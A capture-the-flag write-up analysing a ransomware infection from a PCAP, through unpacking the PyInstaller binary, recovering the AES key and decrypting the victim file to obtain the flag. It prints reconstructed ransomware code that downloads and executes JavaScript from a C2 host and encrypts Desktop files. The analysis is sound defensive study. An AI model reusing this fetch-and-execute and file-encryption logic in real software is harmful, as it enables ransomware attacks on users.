← All writeups

CDDC2026

CDDC 2026 — Find The Key

Challenge

Here's the order: [Staff A, who works at a security company, executed an update file received through the company's internal email and became infected with ransomware. Analyse the attached PCAP file, decrypt the encrypted files, and submit the FLAG. Received from Headqu__ters]

1 = The attackers email address 2 = The value inside the decrypted files

Flag format : CDDC2026{1_2}

Provided files:


Step 1 — PCAP Triage

Using scapy to enumerate hosts and HTTP requests:

Host Role
192.168.50.103:8888 Internal webmail (Flask/Werkzeug)
15.230.15.3:8080 Attacker site — phishing landing + key C2
120.1.38.33:8080 Attacker C2 — malware download + cover traffic

Key URLs observed:

POST /login                            (webmail auth)
GET  /inbox?email=victim@a-security.com
GET  /mail/1                           (the phishing email)
GET  /download           on 120.1.38.33  → a-security_update.exe (14 MB)
GET  /assets/wallpaper   on 15.230.15.3  → ransom.png (PNG)
GET  /s                  on 120.1.38.33  → XOR-obfuscated JS
GET  /api/v1/lah, /lilac on 15.230.15.3  → noise
GET  /api/v1/cbcmo, /defin, /dthea, /eskey on 120.1.38.33 → noise

The "noise" endpoints return base64 fragments that reassemble to: "Every step matters, even those behind us."

Phishing email recovered

/mail/1 rendered HTML — the From header inside the PCAP:

From: arthur@a-security.com
Subject: [IT Notice] Mandatory Security Software Installation
Link: http://15.230.15.3:8080/  [ Install Security Software ]

That arthur@a-security.com is the only attacker email visible inside the PCAP itself — the email used to deliver the payload through the internal mail system.

Ransom wallpaper

/assets/wallpaper returns a PNG ransom note that also contains RECOVERYHELP@XYZMAIL.COM. This is a secondary contact only present in image data (not in the PCAP frames), and is not what the challenge wants.


Step 2 — Extract the Malware

The downloaded a-security_update.exe is a PyInstaller 2.1+ bundle, Python 3.10.

pip install pyinstxtractor-ng
python -m pyinstxtractor_ng a-security_update.exe

The entry-point script app fails to decompress (zlib: incorrect header check). The TOC entry positions in this build are off by 7 bytes — likely an intentional anti-analysis trick.

Brute-force scan for zlib headers near the reported offsets reveals the real positions:

Script TOC says Actually at Δ
pyiboot01_bootstrap 359751 359744 −7
pyi_rth_inspect 360346 360339 −7
app 361218 361211 −7

After correcting, zlib.decompress succeeds and we write a valid .pyc (prepending the Python 3.10 magic header 6f 0d 0d 0a + 12 zero bytes).


Step 3 — Reverse the app.pyc

Disassembled with xdis. Reconstructed logic:

import os, time, ctypes, requests, json, execjs
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from PIL import Image

C2_BASE  = "http://15.230.15.3:8080"
C2_BASE2 = "http://120.1.38.33:8080"
WALLPAPER_LOCAL = os.path.join(os.environ.get("TEMP", "C:\\Temp"), "ransome.png")

def extract_lsb(png_path, length):
    img = Image.open(png_path).convert("RGB")
    pixels = list(img.getdata())  # list of (R,G,B)
    bits = [pixels[i][0] & 1 for i in range(length * 8)]
    out = bytearray()
    for i in range(0, len(bits), 8):
        b = 0
        for bit in bits[i:i+8]:
            b = (b << 1) | bit
        out.append(b)
    return bytes(out)

def crypto():
    xor_key = extract_lsb(WALLPAPER_LOCAL, length=1)[0]   # one byte from PNG LSB
    raw = requests.get(C2_BASE2 + "/s", timeout=5).content
    js  = bytes(b ^ xor_key for b in raw).decode("utf-8")
    cfg = execjs.compile(js).call("_0x2f91")
    aes_key, aes_iv, p_code = cfg["key"].encode(), cfg["iv"].encode(), cfg["padding"].encode()
    # p_code must == b"987"  (PKCS7)
    for root, _, files in os.walk(os.path.join(os.environ.get("USERPROFILE",""), "Desktop")):
        for f in files:
            if f.endswith(".hwj"):
                continue
            secure_encrypt_file(os.path.join(root, f), aes_key, aes_iv, p_code)

def secure_encrypt_file(path, key, iv, p_code):
    if p_code != b"987":
        raise ValueError(...)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    # streams 64 KiB chunks; pads final chunk with PKCS7
    ...   # writes <basename>.hwj, removes original

So the encryption is AES-256-CBC, PKCS#7, with key + IV obtained by:

  1. extract a single byte from the LSB of the PNG (R-channel of first 8 pixels, MSB-first)
  2. XOR the /s response by that byte to recover JavaScript
  3. execute the JS function _0x2f91(){key, iv, padding}

Step 4 — Recover Key & IV

4a. LSB byte from ransom.png

First 8 pixel R values: 6, 4, 7, 6, 5, 6, 9, 6 → LSBs 0,0,1,0,1,0,1,0 → byte 0x2A (*).

4b. Decoded JavaScript (/s XOR'd with 0x2A)

var _0xf3a1 = (function() {
    var _0x4e2d = [], _0x1a9b = [97..122 with m/n & M/N swapped, 65..90, 48..57];
    for (var i = 0; i < _0x1a9b.length; i++) _0x4e2d[i] = String.fromCharCode(_0x1a9b[i]);
    return _0x4e2d;
})();
// alphabet: abcdefghijkl n m opqrstuvwxyz ABCDEFGHIJKL N M OPQRSTUVWXYZ 0..9
var _0x2f91 = function() {
    var key     = build(_0xf3a1, c1+c2+c3+c4);   // 32 chars
    var iv      = build(_0xf3a1, v1+v2);         // 16 chars
    var padding = build(_0xf3a1, [0x3d,0x3c,0x3b]); // "987"
    return {key, iv, padding};
};

Evaluating the index arrays against the alphabet yields:

key     = 0bnYrd8jzHhQtf3vaNl9DeVoi1ucJ6qS   (32 bytes)
iv      = k3cStiFawo7fLnuW                   (16 bytes)
padding = 987                                (PKCS7)

Step 5 — Decrypt Key.hwj

from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad

key = b"0bnYrd8jzHhQtf3vaNl9DeVoi1ucJ6qS"
iv  = b"k3cStiFawo7fLnuW"
ct  = open("Key.hwj", "rb").read()                # 12,032 bytes
pt  = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
open("Key.pdf", "wb").write(pt)                   # 12,019 bytes → %PDF-1.7

The result is a PDF with a single page whose only content stream draws vector glyphs (no text operators, so pdfminer returns nothing). Rendering with PyMuPDF reveals the secret string:

ON3_TRUTH_PR3V@I1$

(Leet for ONE_TRUTH_PREVAILS — a Detective Conan reference, fitting the Korean-style .hwj extension.)


Flag

CDDC2026{arthur@a-security.com_ON3_TRUTH_PR3V@I1$}

Part 1 = the attacker's email as it appears in the PCAP (sender of the phishing mail). Part 2 = the string rendered inside the decrypted PDF.


Lessons / Tricks Used